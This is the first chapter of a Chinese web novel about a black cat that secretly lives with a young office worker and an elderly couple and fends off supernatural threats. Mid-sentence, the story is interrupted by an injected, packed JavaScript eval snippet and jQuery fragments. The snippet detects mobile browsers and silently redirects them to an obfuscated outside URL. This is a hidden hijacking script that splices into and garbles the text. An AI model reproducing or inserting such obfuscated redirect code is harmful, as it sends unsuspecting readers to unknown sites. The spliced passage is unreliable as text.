1. 第 1 章

作品:《无限恐怖,但有猫猫

    猫试着把自己蜷成一团,屁股对着外面,油光发亮的黑尾巴压在腿间,像个黑不溜秋的煤球。


    它有点紧张。


    狭隘老旧的电梯间里,刚下班的疲惫女人惊讶地看向白发阿婆,“您的猫?但这是我的猫呀!”


    ————


    事情要从早上说起。


    作为一只健康强壮的猫,它一直保持着巡视领地的良好习惯。


    “嗡嗡嗡。”


    运动手表震动到第六声,它自律地从暖烘烘的被窝里爬起来,歪头看着床上赖床的人类。


    人按掉闹钟,继续赖床。


    人不自律。


    要是迟到了,脆弱的人会哭的。猫还记得上一次,人被扣了全勤,回家抱着它哭了好久。


    所以在闹钟又响起时,猫毫不犹豫地抬起前爪,小心收起锋利的爪子,一巴掌拍在人的鼻子上。


    “啊啊啊要迟到了!”


    人尖叫着爬起来,一阵哐哐当当后,拎起包跑出门。出门前,她强行把猫按在被子上,头埋在猫柔软的肚皮,一通狂吸,嘴里发出“哎嘿哎嘿”奇怪的声音。


    “小咪,要好好待在家里哦!”


    “喵。”猫回应,抬起头,用鼻子碰了碰她的脸。


    这在猫之间,是个友好打招呼的象征。


    但据它观察,对于人而言,好像更显亲昵。


    年轻女人马上捂住脸,高兴地说:“小咪爱我,嘿嘿,小咪爱我!小咪,等妈妈回来,给你开猫条哦~”


    她蹦蹦跳跳地走了。


    听见关门声,趴在被子里假装睡觉的猫马上起来,轻巧地纵身一跃,就跳到窗台上,抬爪熟练把窗纱打开。


    城中村到处都是牵手楼,顾名思义,站在窗户上,伸手就能与对面楼栋的邻居牵手。


    逼仄的胡同里升起袅袅白汽,一个个年轻的灵魂从楼里走出来,通过这条狭窄潮湿,脐带一样的小街,步履匆匆走向远方灯红酒绿的繁华城市。


    猫站在窗台,在人流里认出室友的背影。


    它在牵手楼间跳跃,每一个空调支架、凸起的窗台、铁制的招牌,都是猫的落脚点。


    在这片密密麻麻的钢铁丛林里,它在楼上,室友在楼下。


    到了。它熟练地停下来,坐在通红的顶棚,棚面下,室友的声音飘来:“要两个烧麦,一杯豆浆,谢谢。”


    五块钱。猫在心里回。


    “好咧,五块钱!”


    室友买完早餐,就会扫一只轮子怪兽离开。猫停在早餐店顶棚上,目送她的背影远去。


    这次护送之旅也圆满完成了。


    它骄傲地坐好,尾巴轻晃。


    保护好人类,是猫给自己立下的原则。人类带回的食物,是给它上缴的保护费。


    它对此深信不疑。


    但为什么,现在它有些心虚呢?


    老公寓的电梯很慢,摇摇晃晃,猫缩在角落,试图把自己变成一只大黑耗子。


    “小咪?”女人犹豫喊:“是你吗?你怎么跑出来啦?”


    老婆婆笑了,缓慢又坚定地说:“小姑娘,你认错了,这是我家的猫,叫福娃。你瞧,它刚陪我买菜回来。”


    ————


    其实这种情况很难发生。


    每天送完室友后,猫折返回家,在钢铁森林里纵跃,跳到一扇半阖的窗前。


    “喵。”它在窗外叫一声,脑袋往窗缝一拱,好像流体一样挤进屋里,跳到厨房门口。


    扑鼻鱼香钻入鼻腔。


    “福娃。”婆婆把乳白色的鱼汤倒进属于它的小碗里,慈霭地看着它,“野一晚上回来啦?有没有抓到老鼠?”


    “喵!”猫站起来趴她的腿,急得能说人话了。


    “不行哦,太烫了,要冷点才能吃。”


    “喵呜QVQ”


    爷爷从书房走出来,手里拿根钓着鲜艳羽毛的玩具,把猫的注意力吸引,“福娃今天这么早回来呀,嘬嘬,来看小鸟飞——”


    等喝完鱼汤,猫会跟在婆婆和爷爷身边,陪他们度过无聊又漫长的白天。


    老两口以前都是大学教授,家里很干净。婆婆喜欢坐在客厅,调到戏曲频道,听些小曲,爷爷会待在书房,练习书法。


    猫追着毛笔在宣纸上跑,时不时在刚写好的字旁留下朵朵梅花脚印,尖锐的指甲偶尔还会划破薄薄宣纸。


    “谁说我家福娃字写得不好,我家福娃字写得可太好了。我要把这幅字给裱起来,薛教授,快来看我们家福娃的字。”


    薛婆婆闭着眼睛,沉醉听戏曲,并不理他。


    到戏曲节目结束,薛婆婆就会起来买菜,猫也会跟在她身边,陪她到楼下生鲜市场买些蔬菜和给它的鸡肉鱼肉。


    等婆婆做完晚饭,它吃完一餐,就会从窗户跳出去。


    老两口遵循着老一辈人粗犷的养猫方法,放它去外面自由飞翔。他们以为猫只是疯玩一个晚上,但要是他们打开窗户探出头,就会看见,黑猫迅速地穿过漫长狭窄的长街,在钢与铁之间跳跃,在它的身后,还有几只流浪猫紧紧跟随,似风奔跑。


    是的,猫要带着小弟回到家里,让它们把碗里的猫粮吃完。


    免得让人类发现它偷收两家的保护费。


    但今天,婆婆念叨着要拜访老朋友,买完菜后,在胡同里绕来绕去,来到一栋老旧公寓。


    于是它的两处领地内保护的人类相遇了


    并且都以为它是自己的猫。


    猫的头埋得更低了。


    “是您家的猫?可是……长得和我家小咪一模一样。”


    “黑猫嘛。”薛婆婆扶了扶眼镜,剪到肩头的规整短发被电梯光线照得雪白,露出温柔充满书卷气的微笑,“长得都很像,说不定它们是一胞的兄弟姐妹,我把它叫过来让你看看吧。福娃,怎么不转过来?”


    “我可以喂喂它吗?”女人腼腆地笑了下,“这是我家小咪爱吃的三文鱼猫条。”


    “当然可以。”


    闻见熟悉的香气,猫抬起头,尾巴轻快地摇,扭过脸去。


    猫的瞳孔缩成一条线,幽绿眼睛里瞳孔竖直狭长。


    一片红光洒下,染红了婆婆雪白的头发。


    在电梯两扇门的窄窄缝隙里,多出来一只通红的眼睛,贪婪又恶毒地凝视着他们。


    猫不知道它是什么时候出现的,但本能地感觉到危险,尾巴的毛像蓬松的鸡毛掸子一样炸开,瞬间蹿到电梯门前,喉咙发出呜呜的低吼声,毫不畏惧地与眼睛对视。


    电梯慢慢往上。


    缝隙里的眼睛随着电梯运行,被拉得越来越长,血丝密布的眼眶像个被强行拉长的橡皮圈,里面塞满一颗又一颗眼球。


    被拉到极限后。


    轻轻“砰”一声,它消失不见了。


    猫又击退了一次入侵者,守护住自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965850|161229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己的领地,但电梯里的两个人对此毫无察觉。


    “啊,”女孩有点惶恐,摸摸把猫条塞回口袋,“它不喜欢陌生人吗?好像应激了。”


    怕吓到小猫,她还往角落靠了靠。


    猫守在电梯门口,低头舔爪子,自从以前咬死一条蛇放在室友枕头上,把她吓哭后,它就知道,人类是一种对危险非常钝感,又十分柔弱的生物。


    好多次它击败了入侵者,但室友一无所知,把自己战功给室友看,她还会尖叫。


    它已经习惯了。


    喂猫条失败后,年轻女人有点尴尬,拿出手机戳戳,假装忙碌。


    “收到我寄给你的快递了吗?”


    一条聊天框弹出黑屏面板。


    她的脸上露出甜蜜微笑,“正拿着准备回家拆呢。”


    “【开心】【开心】”


    电梯门缓缓打开,女人低头看手机,快步走出轿厢。她没有再看过猫,好像手里那块四方屏幕有某种魔力,摄住她的全部灵魂。


    猫跟在她身后,悄无声息地蹿出电梯。


    “好好玩,要注意安全,小心黑暗里的东西。”


    女人闻声回头,手机光照得她面孔惨白,一双眼里映着冷光,“您在和我说话吗?”


    “我在嘱咐我家福娃。”


    “哦。”


    ————


    公寓一共36户,长长的走廊两侧立满墓碑一样的竖直黑门。


    只有一截灯管是好的,惨淡冷光透过层虫子的尸体射下来,填满发霉鼓包的墙壁。


    趁着门打开,猫化作残影,蹿进屋里。通身黑色的皮毛是它的保护色,它完美融入屋里的黑暗,钻入墙根猫窝,当室友打开门时,它从猫窝里伸出个脑袋,“喵”了声,假装睡了一天刚爬出窝。


    它还磨了磨爪子,伸个懒腰,才慢条斯理地走上前打招呼。


    “喵”。


    室友把快递放桌上,低着头和别人聊天,嘴角上扬,表情痴迷。


    猫走到她身边,蹭蹭她的小腿,提醒道:“喵~”


    它闻见猫条的味道啦,好香好香,是三文鱼味道的猫条。


    今天的保护费该上缴啦。


    但室友依旧在玩名叫手机的东西,手指点来点去,没有搭理它。


    猫不喜欢手机,在室友睡觉时,它把手机揍过好多顿。它心里记仇地决定,今晚要把手机推到床下去!让手机摔个粉身碎骨!


    “喵!”它大声提醒。


    保护费!猫条!


    室友突然抬起头。


    “喵呜。”猫期待地看着她。


    她的脸却扭向另一边,看着桌上的快递,木然地说:“好孩子要接受礼物。”


    “好孩子要接受礼物。”


    她念着这句话,从抽屉翻出把美工刀。


    “喵!”猫的尾巴炸开毛,跳到两米高的铁制书架上,朝室友不满地大声囔囔。


    室友转过身,低着头,正对桌上快递。


    快递是巴掌大小的楞纸盒,中间用胶布黏合,八成被暴力对待过,整个盒子歪歪斜斜,好像随时都要散架。


    “好孩子要接受礼物。”


    她举起刀,要将刀扎进盒里时,忽然听见身后传来“砰”地巨响。


    扭过头去,放在书架上的水晶球摔得四分五裂,黑猫气定神闲地看着她,尾巴摇晃,抬起爪子,礼貌地把另一颗水晶球推到地上。